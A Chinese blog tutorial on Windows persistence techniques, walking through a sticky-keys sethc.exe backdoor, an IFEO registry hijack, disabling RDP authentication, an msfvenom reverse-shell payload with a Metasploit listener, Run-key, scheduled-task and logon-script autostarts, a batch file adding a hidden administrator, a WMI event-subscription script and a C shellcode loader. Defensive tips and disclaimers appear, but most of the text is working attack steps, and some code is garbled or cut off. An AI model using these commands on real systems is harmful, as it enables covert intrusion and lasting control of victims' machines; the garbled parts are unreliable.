首页 > 系统相关 >维持访问技战术-Windows

维持访问技战术-Windows

时间:2024-09-21 22:51:30浏览次数:3  
标签:exe 技战术 Windows 访问 WMI 事件 注册表 root

维持访问技战术-Windows_Windows

粘滞键后们

粘滞键(Sticky Keys)是Windows操作系统中的一个辅助功能,它允许用户通过连续按下键盘上的Shift、Ctrl、Alt或Windows徽标键两次来激活这些键的持续按下状态,这样用户就可以用单手操作键盘。然而,这个功能有时会被恶意软件或黑课利用来绕过登录屏幕,实现所谓的“粘滞键后们”。

粘滞键后们的利用原理通常是这样的:当用户在登录屏幕上连续五次按下Shift键时,Windows会启动粘滞键功能,并打开sethc.exe程序。恶意软件或公鸡者可以通过替换sethc.exe文件或者修改注册表来改变这一行为,使得在按下Shift键五次时启动的是一个不同的程序,比如命令提示符(cmd.exe)。这样,公鸡者就可以在登录屏幕上打开一个命令行界面,进而执行各种命令,包括获取管理员权限、修改用户密码等。

以下是一个简化的示例代码,展示了如何通过PowerShell脚本来替换sethc.exe文件:

# PowerShell脚本示例
$sourcePath = "C:\Windows\System32\cmd.exe"
$destinationPath = "C:\Windows\System32\sethc.exe" 
 
# 复制cmd.exe到sethc.exe的位置 
Copy-Item -Path $sourcePath -Destination $destinationPath -Force

这段代码使用了PowerShell的Copy-Item cmdlet来将cmd.exe文件复制到sethc.exe的位置,并使用-Force参数来强制覆盖原有的sethc.exe文件。

请注意,这个示例仅供学习和理解目的,实际操作中替换系统文件可能会违反法律和道德规范,并且可能会导致系统不稳定或无法启动。

为了防范粘滞键后们,可以采取以下措施:

  1. 禁用粘滞键功能:在控制面板的“轻松使用”设置中,可以关闭粘滞键功能。
  2. 限制系统文件的访问权限:确保系统文件夹(如C:\Windows\System32\)的访问权限设置正确,只允许必要的用户和程序访问。
  3. 定期检查系统文件:使用系统自带的工具(如sfc /scannow)来检查和修复系统文件的完整性。
  4. 保持系统更新:定期更新操作系统和安全软件,以防止已知漏动被利用。

再次强调,上述内容仅用于教育目的,不应用于任何非法活动。在实际环境中,应始终遵守法律法规,并采取适当的安全措施来保护计算机系统的安全。

 

维持访问技战术-Windows_Windows_02

登录系统,模拟已经拿到了终端

维持访问技战术-Windows_远程桌面_03

进入目录找到粘滞键程序,sethc.exe

维持访问技战术-Windows_Windows_04

右键属性

维持访问技战术-Windows_Windows_05

点击高级

维持访问技战术-Windows_Windows_06

所有者进行修改

维持访问技战术-Windows_Windows_07

在红框里输入Administrators-检查名称-确定

维持访问技战术-Windows_Windows_08

点击应用

维持访问技战术-Windows_恶意软件_09

点击编辑


维持访问技战术-Windows_远程桌面_10

点击完全控制-应用

维持访问技战术-Windows_恶意软件_11

复制一个,重命名为.bak程序

维持访问技战术-Windows_Windows_12

复制一个cmd程序

维持访问技战术-Windows_远程桌面_13

然后进行修改-改成粘滞键的名字-sethc.exe

维持访问技战术-Windows_Windows_14

报错的话点击否,将原来备份的那一个删除在重命名就可以了

维持访问技战术-Windows_Windows_15

然后就成功了,测试一下靶机注销

维持访问技战术-Windows_远程桌面_16

实际应用下在3389端口或者是命令行界面就不行漏动利用了,直接访问后们

连续点击五下shift弹出cmd窗口

维持访问技战术-Windows_远程桌面_17

进入cmd,输入wohami-发现是超管权限

维持访问技战术-Windows_远程桌面_18

整体思路就是修改注册表的映像劫持和打开远程桌面来实现。

粘滞键后们的整体思路是通过篡改Windows操作系统中的辅助功能——粘滞键(Sticky Keys),来实现非授权访问或提权。具体来说,公鸡者利用粘滞键功能的默认行为,在用户连续五次按下Shift键时启动一个特定的程序,通常是命令提示符(cmd.exe),从而获得一个交互式的命令行界面,进而执行恶意操作。

以下是实施粘滞键后们的一般步骤:

  1. 准备工作
  • 确认目标系统启用了粘滞键功能。
  • 准备一个可执行文件(如cmd.exe)或其他恶意软件,用于替换默认的sethc.exe文件。
  1. 替换系统文件
  • 使用管理员权限访问目标系统的文件系统。
  • 替换C:\Windows\System32\sethc.exe文件,将其替换为公鸡者准备的可执行文件。例如,可以用cmd.exe替换sethc.exe,这样在连续五次按下Shift键时,系统会启动命令提示符而不是粘滞键设置程序。
  1. 测试后们
  • 重启系统或注销并重新登录,确保替换后的文件在系统启动时被正确加载。
  • 在登录屏幕上连续五次按下Shift键,验证是否成功启动命令提示符或其他指定程序。
  1. 执行恶意操作
  • 如果步骤3成功,公鸡者可以通过命令提示符执行各种命令,例如获取系统信息、创建新用户、提升权限等。
  1. 清理痕迹(可选):
  • 删除替换的sethc.exe文件,恢复原始文件,以避免被发现和分析。

需要注意的是,这种公鸡方式存在一定的风险,因为替换系统文件可能会导致系统不稳定或无法启动。此外,这种行为通常是非法的,属于未经授权的入侵行为,可能会受到法律制裁。

为了防范粘滞键后们,可以采取以下措施:

  1. 禁用粘滞键功能:在控制面板的“轻松使用”设置中,关闭粘滞键功能。
  2. 监控系统文件完整性:使用系统工具(如sfc /scannow)定期检查系统文件的完整性。
  3. 限制对系统文件的访问:确保只有可信的用户和进程有权访问和修改系统文件。
  4. 保持系统更新:及时安装操作系统和安全软件的更新,修补已知漏动。

总之,粘滞键后们是一种利用系统辅助功能进行公鸡的方法,防范这种公鸡的关键在于保持系统的安全性并及时更新系统设置和文件。

维持访问技战术-Windows_恶意软件_19

注册表添加命令

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CUrrentVersion\Image File EXecution Options\sethc.exe /v Debugger /t REG_SZ /d C:\windows\system32\cmd.exe"

输入yes

维持访问技战术-Windows_恶意软件_20

设置为1的时候是需要远程桌面身份认证的,在远程软件里输入主机地址会要求你输入远程密码,如果只输入用户名不输入密码直接点击链接的话,会弹出密码输入错误。如果现在设置为0,那么久不需要输入密码,只需要输入用户名就可以直接链接。就可以看到桌面锁屏了。

维持访问技战术-Windows_Windows_21

关闭另一个机制


C:\Windows\system32>REG ADD "HKLM\SYSTEMCurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /vSecurityLayer /t REG_DWORD/d 0

该命令用于修改Windows注册表中的一个DWORD值。具体来说,它是在“HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp”路径下创建或修改名为“SecurityLayer”的DWORD值,并将其设置为0。

下面是这个命令的各个部分的解释:

  • C:\Windows\system32>:这是Windows命令提示符的默认路径。
  • REG ADD:这是用来添加或修改注册表项的命令。
  • "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp":这是注册表中的一个路径,其中“HKLM”代表“HKEY_LOCAL_MACHINE”,这是注册表的一个主键,用于存储与本地计算机相关的信息。
  • /v SecurityLayer:这是用来指定要添加或修改的值的名称,这里是“SecurityLayer”。
  • /t REG_DWORD:这是用来指定值的数据类型,这里是DWORD。
  • /d 0:这是用来指定值的数据,这里是0。

设置 "SecurityLayer" 的 DWORD 值为 0,意味着禁用远程桌面协议(RDP)连接中的网络级别身份验证(NLA)。网络级别身份验证是一种安全特性,它要求在建立远程桌面会话之前进行用户身份验证。当 SecurityLayer 设置为 0 时,将不再需要 NLA,这可能会降低远程连接的安全性,但同时也会允许那些不支持 NLA 的客户端进行连接。

具体来说,将 "SecurityLayer" 设置为 0 可能达到以下效果:

  1. 允许旧版或不支持 NLA 的 RDP 客户端连接到服务器。
  2. 提升连接的兼容性,但可能降低安全性。
  3. 可能会使服务器更容易受到中间人公鸡(MITM),因为在建立连接之前不会进行加密和身份验证。

这个命令的结果是,将“SecurityLayer”的值设置为0。这个值可能影响Windows的远程桌面服务的安全设置。但是,具体的含义和效果取决于具体的系统和设置。在进行这样的修改之前,应该充分了解其可能的影响,并备份注册表以防止不可预知的问题。

维持访问技战术-Windows_远程桌面_22

0是链接前使用rdp协议使用身份验证,0是关闭身份验证,2是tls协议验证

开启目标的远程桌面,开启3389端口

配置关闭防火墙并开放3389端口

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 actinotallow=allow

维持访问技战术-Windows_Windows_23

通过注册表设置一下远程桌面链接,就可以达到任意用户达到远程桌面的目的了。

REG ADD “HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer" /v fDenyTSConnections /t REG_DWORD /D 0 /F

这个命令是用来修改Windows注册表中的一个DWORD值,具体来说,它是在“HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer”路径下创建或修改名为“fDenyTSConnections”的DWORD值,并将其设置为0。

下面是这个命令的各个部分的解释:

  • REG ADD:这是用来添加或修改注册表项的命令。
  • "HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer":这是注册表中的一个路径,其中“HKLM”代表“HKEY_LOCAL_MACHINE”,这是注册表的一个主键,用于存储与本地计算机相关的信息。
  • /v fDenyTSConnections:这是用来指定要添加或修改的值的名称,这里是“fDenyTSConnections”。
  • /t REG_DWORD:这是用来指定值的数据类型,这里是DWORD。
  • /d 0:这是用来指定值的数据,这里是0。
  • /f:这个参数表示强制执行命令,不需要确认。

将 "fDenyTSConnections" 设置为 0 的效果是允许远程桌面连接。具体来说,这个值控制着是否允许通过远程桌面协议(RDP)进行远程连接。当 "fDenyTSConnections" 设置为 0 时,远程桌面服务将被允许接受来自客户端的连接请求。相反,如果这个值被设置为 1,那么远程桌面服务将拒绝所有的远程连接请求。

因此,执行这个命令可以达到的效果是启用远程桌面服务,允许用户通过RDP客户端远程连接到这台计算机。这样做可能会增加计算机的可用性和便利性,但同时也需要注意安全问题,因为开放远程桌面服务可能会带来安全风险,特别是在没有适当的安全措施(如防火墙规则、强密码策略、NLA等)的情况下。在执行此类更改之前,应该评估和管理相关风险。

维持访问技战术-Windows_Windows_24

注册表启动后们

创建一个注册表启动后们涉及到修改Windows注册表,以便在系统启动时自动运行恶意软件。这种行为是非法的,且严重违反了计算机安全和伦理准则。因此,我不会提供具体的步骤和代码来创建这样的后们。然而,我可以解释一下一般的过程,以便读者能够更好地理解这种公鸡方式,并采取相应的防御措施。

注册表启动后们的一般过程:

  1. 选择或创建恶意软件:公鸡者会选择一个现有的恶意软件或者自己编写一个恶意软件,这个软件将在系统启动时自动运行。
  2. 确定注册表位置:Windows系统中有多个注册表键值可以用来设置自启动程序,常见的包括:
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
  1. 修改注册表:公鸡者会使用注册表编辑器(如regedit.exe)或者其他工具来修改上述注册表键值,添加一个新的字符串值,指向恶意软件的路径。
  2. 测试后们:公鸡者会重启系统,测试恶意软件是否能够在系统启动时自动运行。
  3. 隐藏痕迹:如果公鸡者希望不被发现,他们可能会使用各种技术来隐藏恶意软件的存在,例如使用roo7TKit技术或者修改文件属性。

防御措施:

为了防止注册表启动后们的公鸡,可以采取以下防御措施:

  1. 定期检查注册表:定期使用注册表编辑器检查上述的自启动注册表键值,查看是否有未知或可疑的程序被设置为自启动。
  2. 使用安全软件:安装并定期更新防病独软件和反恶意软件工具,它们可以帮助检测和清除恶意软件。
  3. 限制权限:确保普通用户账户没有足够的权限去修改注册表中的自启动设置。
  4. 监控系统行为:使用系统监控工具来跟踪程序的启动和行为,及时发现异常活动。
  5. 保持系统更新:定期更新操作系统和应用程序,以修补已知的安全漏动。
  6. 教育用户:提高用户对于网络安全威胁的认识,教育他们不要随意点击不明链接或下载不明附件。

请记住,任何尝试创建或传播恶意软件的行为都是违法的,应当始终遵守法律法规,维护网络安全。本文只用于技术交流,请勿用于非法用途,非法行为与作者无关。

在这里填入kali地址

mkdir Tmp #创建新目录 Tmp
mv lib_mysqludf_sys_64.so Tmp #剪切lib_mysqludf_sys_64.so文件到Tmp文件夹下
cd Tmp #进入Tmp
msfvenom -p windows/meterpreter/reverse tcp lhost=192.168.231.130(kali地址)  lport=4444 -e x86/shikata_ga_nai -i 3 -b '\x00' -f exe -o shell.exe

维持访问技战术-Windows_Windows_25

等待片刻后木吗就生成了

维持访问技战术-Windows_恶意软件_26


模拟被公鸡的机器去下载shell,可以用钓鱼邮件、水坑公鸡等方式让受害机器下载shell

然后用python3上起一个监听

维持访问技战术-Windows_Windows_27

msf起一个监听

use /multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.231.130

维持访问技战术-Windows_Windows_28

show options

确认payload、本地地址和监听地址就可以执行了(run)

维持访问技战术-Windows_Windows_29

接来下打开win10

维持访问技战术-Windows_恶意软件_30

打开浏览器访问python写的web服务,单击shell.exe下载

维持访问技战术-Windows_恶意软件_31

查看下载目录,已经下载好了

维持访问技战术-Windows_远程桌面_32

打开注册表管理器

方式一

将下载shell的路径写进去

维持访问技战术-Windows_Windows_33

方式二

REG ADD "HKEY LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v hackby lonelyor /t REG_SZ /d "c:\Users\lonelyor\Downloads\shell.exe"

这个命令用于在Windows注册表中添加一个新的自启动项,使得一个特定的程序在系统每次启动时自动运行。

具体来说,这条命令执行以下操作:

  1. REG ADD: 这是命令行工具reg.exe的一个子命令,用于向注册表添加或修改值。
  2. "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run": 这是注册表中的一个路径,其中“HKEY_LOCAL_MACHINE”是一个主键,用于存储与本地计算机相关的信息。“SOFTWARE\Microsoft\Windows\CurrentVersion\Run”是一个子键,其中包含了在系统启动时自动运行的程序的列表。
  3. /v hackby lonelyor: 这里指定要添加的新值的名称为“hackby lonelyor”。
  4. /t REG_SZ: 这里指定新值的数据类型为REG_SZ,这是Windows注册表中最常见的数据类型,用于存储字符串。
  5. /d "c:\Users\lonelyor\Downloads\shell.exe": 这里指定新值的数据,即字符串"c:\Users\lonelyor\Downloads\shell.exe"。这个字符串是一个文件路径,指向一个可执行文件"shell.exe"。

因此,执行这个命令的效果是,将"C:\Users\lonelyor\Downloads\shell.exe"这个程序添加到系统的自启动列表中,使得每次系统启动时,这个程序都会自动运行。

请注意,这个命令本身并不执行任何恶意行为,但它可以被恶意软件利用来实现持久化,即确保恶意软件在系统每次启动时都能运行。为了防止这种情况,应该定期检查注册表中的自启动项,确保没有未知或可疑的程序被添加进去。

维持访问技战术-Windows_远程桌面_34

用户启动后正常登录,木吗就上线了,在毫无感知的情况下就已经反弹了木马了

维持访问技战术-Windows_远程桌面_35

注册表启动项的位置

在Windows操作系统中,注册表是存储系统和应用程序设置的中央数据库。启动项是指那些在系统启动时自动运行的程序或服务。这些启动项通常被存储在注册表的特定位置。

以下是几个常见的注册表启动项位置:

  1. HKEY_LOCAL_MACHINE (HKLM)\SOFTWARE\Microsoft\Windows\CurrentVersion\Run: 这个位置用于存储在系统启动时自动运行的程序。这些程序对所有用户都有效。
  2. HKEY_CURRENT_USER (HKCU)\SOFTWARE\Microsoft\Windows\CurrentVersion\Run: 这个位置用于存储当前用户的启动程序。这些程序只在当前用户登录时运行。
  3. HKEY_LOCAL_MACHINE (HKLM)\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices: 这个位置类似于“Run”键,但它存储的是在系统启动后立即运行的服务。
  4. HKEY_LOCAL_MACHINE (HKLM)\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon: 这个位置用于存储与系统登录过程相关的程序和服务。
  5. HKEY_LOCAL_MACHINE (HKLM)\SYSTEM\CurrentControlSet\Services: 这个位置用于存储系统服务的设置。系统服务是在后台运行的程序,为操作系统和其他应用程序提供支持。
  6. HKEY_LOCAL_MACHINE (HKLM)\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System: 这个位置用于存储系统策略设置,包括一些与系统启动相关的设置。

计划任务后们

输入run,重新开启监听

维持访问技战术-Windows_恶意软件_36

在cmd里通过命令写一个计划任务,要把木吗的绝对路径打全

schtasks /Create /tn test /tr c:\shell.exe /sc minute /mo 1

每隔一分钟执行一次shell.exe

维持访问技战术-Windows_远程桌面_37

kali端等待一分钟,就会回显,输入shell,就拿到了管理员权限

维持访问技战术-Windows_恶意软件_38

可以在win10也可以在kali端输入命令

schtasks /Create /tn test /tr c:\shell.exe /sc minute /mo 1

每隔一分钟执行一次test木吗

schtasks | findstr test

在Windows命令行环境中,schtasks 是一个命令行工具,用于管理计划任务。findstr 是另一个命令行工具,用于在文件或输出中搜索指定的字符串。

当你输入 schtasks | findstr test 时,你正在执行以下操作:

  1. schtasks: 这个命令用于显示或配置计划任务。如果你只是输入 schtasks 而不带任何参数,它会列出系统上所有计划的任务。
  2. |: 这是一个管道符号,用于将一个命令的输出作为另一个命令的输入。在这个例子中,schtasks 的输出被传递给 findstr
  3. findstr test: 这个命令用于在输入的字符串中搜索包含 "test" 的行。在这里,它会在 schtasks 输出的任务列表中查找包含 "test" 的任务名或其他相关信息。

因此,schtasks | findstr test 的整体意思是列出所有计划任务,并在这些任务的描述中查找包含 "test" 的条目。这可以用来快速筛选出名称或描述中含有 "test" 的任务。例如,如果你有一个名为 "Test Backup" 的任务,这个命令将会找到它。

维持访问技战术-Windows_远程桌面_39

LogonScripts后们

维持访问技战术-Windows_远程桌面_40

"LogonScripts后们"是一种恶意软件部署技术,它利用Windows操作系统中的登录脚本(Logon Scripts)功能来实现在用户登录时自动执行恶意代吗的目的。登录脚本是系统管理员配置的脚本,用于在用户登录时自动执行特定的任务,比如环境变量设置、网络驱动器映射等。

工作原理:

  1. 注册表修改:公鸡者会修改Windows注册表中的特定键值,以添加或替换原有的登录脚本。常见的注册表位置包括 HKEY_CURRENT_USER\EnvironmentHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
  2. 脚本注入:公鸡者会将恶意脚本或可执行文件的路径添加到注册表中,这样在用户登录时,系统会自动执行这些脚本或程序。
  3. 隐蔽执行:为了不被发现,恶意脚本可能会包含代码来隐藏其活动,比如不显示窗口、删除自身或在执行完毕后清理痕迹。
  4. 持久化:通过将恶意脚本设置为登录脚本,公鸡者可以确保即使在系统重启后,恶意代吗仍然会被执行,从而实现了持久化。

防御措施:

为了防止LogonScripts后们的公鸡,可以采取以下防御措施:

  1. 定期审计注册表:定期检查注册表中的登录脚本设置,确保没有未授权的脚本被添加。
  2. 使用安全软件:安装并定期更新防病独软件和反恶意软件工具,它们可以帮助检测和清除恶意软件。
  3. 限制权限:确保只有受信任的管理员才能修改注册表中的登录脚本设置。
  4. 监控系统行为:使用系统监控工具来跟踪程序的启动和行为,及时发现异常活动。
  5. 保持系统更新:定期更新操作系统和应用程序,以修补已知的安全漏动。
  6. 教育用户:提高用户对于网络安全威胁的认识,教育他们不要随意点击不明链接或下载不明附件。

请记住,任何尝试创建或传播恶意软件的行为都是违法的,应当始终遵守法律法规,维护网络安全。

LogonScripts后们利用步骤:

  1. 创建一个恶意脚本文件,例如:malicious_script.bat。
  2. 将恶意脚本文件放置在目标计算机的LogonScripts目录下。通常路径为:C:\Windows\System32\GroupPolicy\Machine\Scripts\Scripts\。
  3. 当目标计算机启动时,会自动执行LogonScripts目录下的所有脚本文件。
  4. 恶意脚本会在目标计算机上执行,从而实现后们功能。

利用代码示例(以批处理脚本为例):

@echo off
net user /add hacker Hacker123!
net localgroup administrators hacker /add
wmic os get version > C:\Users\Public\version.txt

这段代码会创建一个名为"hacker"的用户,并为其设置密码为"Hacker123!"。然后将该用户添加到管理员组中。最后,它会获取操作系统版本信息并将其保存到公共文件夹中的"version.txt"文件中。

维持访问技战术-Windows_远程桌面_41

将shell拖到c盘根目录下

维持访问技战术-Windows_恶意软件_42

REG ADD "HKEY_CURRENT_USER\Environment" /v lonelyorLogonScript /t REG_SZ /d "c:\shell.exe"

这条命令使用Windows内置的reg.exe工具来修改当前用户环境变量的注册表设置。具体来说,它向HKEY_CURRENT_USER\Environment注册表项添加了一个新的值,名称为lonelyorLogonScript,数据类型为REG_SZ(即字符串),值为"c:\shell.exe"

这里的"c:\shell.exe"是指定的可执行文件路径。当用户登录系统时,这个路径指定的程序将会被执行。这种技术常被用于设置登录脚本,也就是在用户登录时自动执行的程序或脚本。

命令解析:

  • REG ADD: 添加或修改注册表值。
  • "HKEY_CURRENT_USER\Environment": 指定要修改的注册表项。
  • /v lonelyorLogonScript: 指定要添加或修改的值的名称。
  • /t REG_SZ: 指定值的数据类型为字符串(REG_SZ)。
  • /d "c:\shell.exe": 指定值的数据内容,这里是程序的路径。

效果:

执行这条命令后,每次用户登录系统时,位于C:\shell.exe的程序将会自动运行。这可以用于自动化任务,例如设置环境变量、映射网络驱动器等。

维持访问技战术-Windows_Windows_43

重启win10

维持访问技战术-Windows_远程桌面_44

稍等片刻shell就上线了

安全注意事项:

  • shell.exe是一个恶意程序,那么这条命令就可以被用来创建一个后们,允许公鸡者在用户不知情的情况下执行恶意代吗。
  • 修改注册表可能导致系统不稳定或应用程序无法正常工作。在修改注册表之前,应该备份注册表,以便在出现问题时可以恢复。
  • 应该确保只有受信任的用户和进程有权修改注册表,以防止恶意软件的入侵。

总之,这条命令本身并没有好坏之分,关键在于它是如何被使用的。在企业环境中,管理员可能会使用类似的技术来部署软件或配置系统,但在个人使用或未经许可的情况下修改他人的计算机,则可能涉及违法行为。

WMI 基础概念

维持访问技战术-Windows_远程桌面_45

WMI(Windows Management Instrumentation)是微软开发的一套管理和监视Windows操作系统及其组件的技术。WMI允许系统管理员和开发者通过标准化的方式访问和管理系统资源,包括硬件、操作系统、应用程序和服务等。

主要概念:

  1. 命名空间(Namespace)
  • WMI使用命名空间来组织和分类管理信息。
  • 常见的命名空间包括root\CIMV2(用于管理操作系统和基本硬件)、root\Default(用于存储WMI的默认设置)等。
  1. 类(Class)
  • 类是WMI中描述管理对象的模板。
  • 每个类定义了一组属性和方法,用于描述和操作特定类型的资源。
  • 例如,Win32_Process类用于管理进程,Win32_DiskDrive类用于管理硬盘驱动器。
  1. 实例(Instance)
  • 实例是类的具体实现。
  • 每个实例代表一个具体的管理对象。
  • 例如,Win32_Process类的一个实例可能代表当前运行的一个具体进程。
  1. 属性(Property)
  • 属性是类和实例的特征描述。
  • 例如,Win32_Process类的Name属性描述了进程的名称。
  1. 方法(Method)
  • 方法是类和实例的操作描述。
  • 例如,Win32_Process类的Create方法可以用来创建一个新的进程。
  1. 事件(Event)
  • WMI支持事件机制,允许系统和应用程序在特定条件下触发事件。
  • 例如,进程创建或销毁时可以触发相应的事件。

使用WMI的工具和编程接口:

  1. WMIC
  • WMIC(Windows Management Instrumentation Command-line)是一个命令行工具,用于查询和管理系统资源。
  • 示例命令:wmic process get name, processid(列出所有运行中的进程及其ID)。
  1. WinMGMT服务
  • WMI服务在Windows系统中作为一个常驻服务运行,名为WinMGMT
  • 这个服务负责处理所有的WMI请求和事件通知。
  1. 编程接口
  • WMI提供了COM接口,允许开发者使用各种编程语言(如C++、VBScript、PowerShell、Python等)编写管理应用程序。
  • 例如,在VBScript中,可以使用GetObject函数来访问WMI类和实例。

示例代码(VBScript):

Set objWMIService = GetObject("winmgmts:\\.\root\CIMV2")
Set colProcess = objWMIService.ExecQuery("SELECT * FROM Win32_Process")
 
For Each objProcess in colProcess 
    WScript.Echo objProcess.Name & " - " & objProcess.ProcessId 
Next

这段代码使用WMI查询系统中所有运行中的进程,并输出它们的名称和进程ID。

应用场景:

  • 系统监控:监控系统资源的使用情况,如CPU、内存、磁盘等。
  • 故障排查:查询和分析系统事件和错误日志。
  • 自动化管理:自动执行系统管理任务,如创建和删除用户、管理服务和驱动程序等。
  • 软件部署:通过WMI可以远程部署和管理软件包。

总之,WMI是一个强大的管理工具,广泛应用于Windows系统的管理和监控。

临时事件、持久事件

在WMI(Windows Management Instrumentation)中,事件(Event)是用来通知系统或其他组件某些条件发生变化的机制。WMI事件可以分为两大类:临时事件(Temporary Events)和持久事件(Persistent Events)。

临时事件(Temporary Events)

临时事件是在一个进程中创建并仅在该进程运行期间有效的事件。当创建事件的进程终止时,该事件也随之消失。临时事件通常用于处理短暂的、与特定进程相关的事件。

特点:

  • 仅在创建它们的进程生命周期内有效。
  • 不存储在WMI数据库中。
  • 当进程结束时,事件自动失效。

示例应用场景:

  • 监听某个特定进程的状态变化。
  • 处理用户界面中的事件,如按钮点击等。

持久事件(Persistent Events)

持久事件是在系统范围内注册的事件,它们存储在WMI数据库中,并且在系统重启后仍然存在。持久事件通常用于实现系统级的监控和管理功能。

特点:

  • 存储在WMI数据库中。
  • 系统重启后仍然存在。
  • 可以在系统范围内持续监控和响应事件。

示例应用场景:

  • 监控系统级别的事件,如服务启动、停止或失败。
  • 实现系统级的自动化任务,如定时备份或日志清理。

创建和使用事件

临时事件示例(使用VBScript):

Set objWMIService = GetObject("winmgmts:\\.\root\CIMV2")
Set colEvents = objWMIService.ExecNotificationQuery("SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process'")
 
Do Until colEvents.atEndOfCollection 
    Set objEvent = colEvents.Next()
    WScript.Echo "New process created: " & objEvent.TargetInstance.Name 
Loop

这段代码创建一个临时事件,监控新进程的创建,并在事件发生时输出新进程的名称。

持久事件示例(使用VBScript):

Set objWMIService = GetObject("winmgmts:\\.\root\CIMV2")
Set objWatcher = objWMIService.CreateEventWatcher("Win32_Process", "Name", "CreationClassName", "Created")
 
Sub objWatcher_OnEvent(objEvent)
    WScript.Echo "New process created: " & objEvent.NewProperties("Name").Value 
End Sub

本地调用无文件后们

维持访问技战术-Windows_恶意软件_46

本地调用无文件后们通常指的是在计算机上执行恶意操作,同时避免在磁盘上写入任何文件。这种后们通常利用系统中已有的功能或组件来隐藏自己,并实现持久化,从而绕过传统的安全检测。具体分析如下:

  1. WMI持久化后们
  • 利用WMI事件消费者:WMI允许通过永久事件消费者来实现无文件后们。例如,可以使用ActiveScriptEventConsumer来执行VBScript或JScript脚本。当与其绑定的事件被触发时,这些脚本将被执行。
  • 安装和配置ASEC:在Windows系统上,ASEC通常已经默认安装在root\subscription名称空间。对于早期系统,可能需要手动安装ASEC,并在需要捕获系统事件的名称空间中进行配置。
  • 隐蔽性和持久性:由于WMI事件消费者不需要在磁盘上创建文件,这种类型的后们较难被传统的反病独软件检测到。此外,由于WMI是系统的一部分,这种后们方法也具有较好的隐蔽性和持久性。
  1. 注册表后们
  • 自启动注册表键值:通过在特定的注册表键值下添加新的键值,可以实现程序的自动启动。这种方法简单直接,但可能被本地安全软件拦截。
  • 用户登录脚本:修改注册表中的winlogon项,如UserInitMprLogonScript,可以实现在用户登录时自动运行指定的脚本或程序。这种方法同样容易实现,并且可以穿越一些基本的安全防护措施。
  1. 定时任务后们
  • 使用schtasks创建定时任务:通过Windows的schtasks命令,可以创建定时任务来定期执行恶意程序或脚本。这种方法可以通过定时任务的掩蔽性来实现后们的持久化。
  1. 服务后们
  • 注册为服务:将恶意可执行文件注册为系统服务,可以实现在系统启动时自动运行后们程序。这种方法具有较高的权限和隐蔽性,但也可能被安全软件检测到。
  1. DLL注入后们
  • 利用DLL注入技术:通过将恶意DLL注入到系统进程中,可以避免在磁盘上创建文件。这种方法通常需要对Windows操作系统有深入的了解,并且能够绕过一些基于文件检测的安全措施。
  1. COM劫持后们
  • 修改CLSID注册表键值:通过修改注册表中的CLSID键值,可以实现对COM对象的劫持。当系统或其他程序尝试创建这些COM对象时,实际上会加载和执行恶意代吗。这种方法可以在不触摸磁盘的情况下实现后们功能。

总的来说,以上步骤和方法展示了如何在不使用传统文件存储的情况下,在本地系统上实现后们的持久化。

本地调用无文件后们的shellcode

维持访问技战术-Windows_远程桌面_47


$filterName = ' lonelyorfn'  
$consumerName = ' lonelyorcsn'  
$sexePath = C:\shell.exe  
$Query = "SELECT * FROM _InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerFormattedData_Perfos_System'"

$WMIEventFilter = Set-WmiInstance -Class _EventFilter -NameSpace "root\subscription" -Arguments @{Name=

$filterName; EventNameSpace = "root\cimv2"; QueryLanguage = "WQL"; Query = $Query} -ErrorAction Stop

$WMIEventConsumer = Set-WmiInstance -Class CommandlineEventConsumer -NameSpace "root\\subscription" -Arguments @(Name= SconsumerName;ExecutablePath=SexePath;CommandLineTemplate=Sexepath)

Set-WmiInstance -Class \_FilterToConsumerBinding -Namespace "root\\subscription" -Arguments @{Filter=

$WMIEventFilter;Consumer=\$WMIEEventConsumer}

以下是一个使用C语言编写的本地调用无文件后们的shellcode示例。这个示例使用了Windows API函数来执行系统命令,并避免了在磁盘上写入任何文件。

#include <stdio.h>
#include <windows.h>

int main() {
    // Shellcode开始
    char shellcode[] = "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
                       "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
                       "\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
                       "\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
                       "\x57\x78\x01\xc2\x8b\x7a\x20\x01"
                       "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
                       "\x45\x81\x3e\x43\x72\x65\x61\x75"
                       "\xf2\x81\x7e\x08\x6f\x63\x65\x73"
                       "\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
                       "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
                       "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
                       "\xb1\xff\x53\xe2\xfd\x68\x63\x61"
                       "\x6c\x63\x89\xe2\x52\x52\x53\x53"
                       "\x53\x53\x53\x53\x52\x53\xff\xd7";
    // Shellcode结束

    // 分配内存空间以存储shellcode
    void *exec_mem = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (exec_mem == NULL) {
        printf("Failed to allocate memory for shellcode.
");
        return 1;
    }

    // 将shellcode复制到分配的内存中
    memcpy(exec_mem, shellcode, sizeof(shellcode));

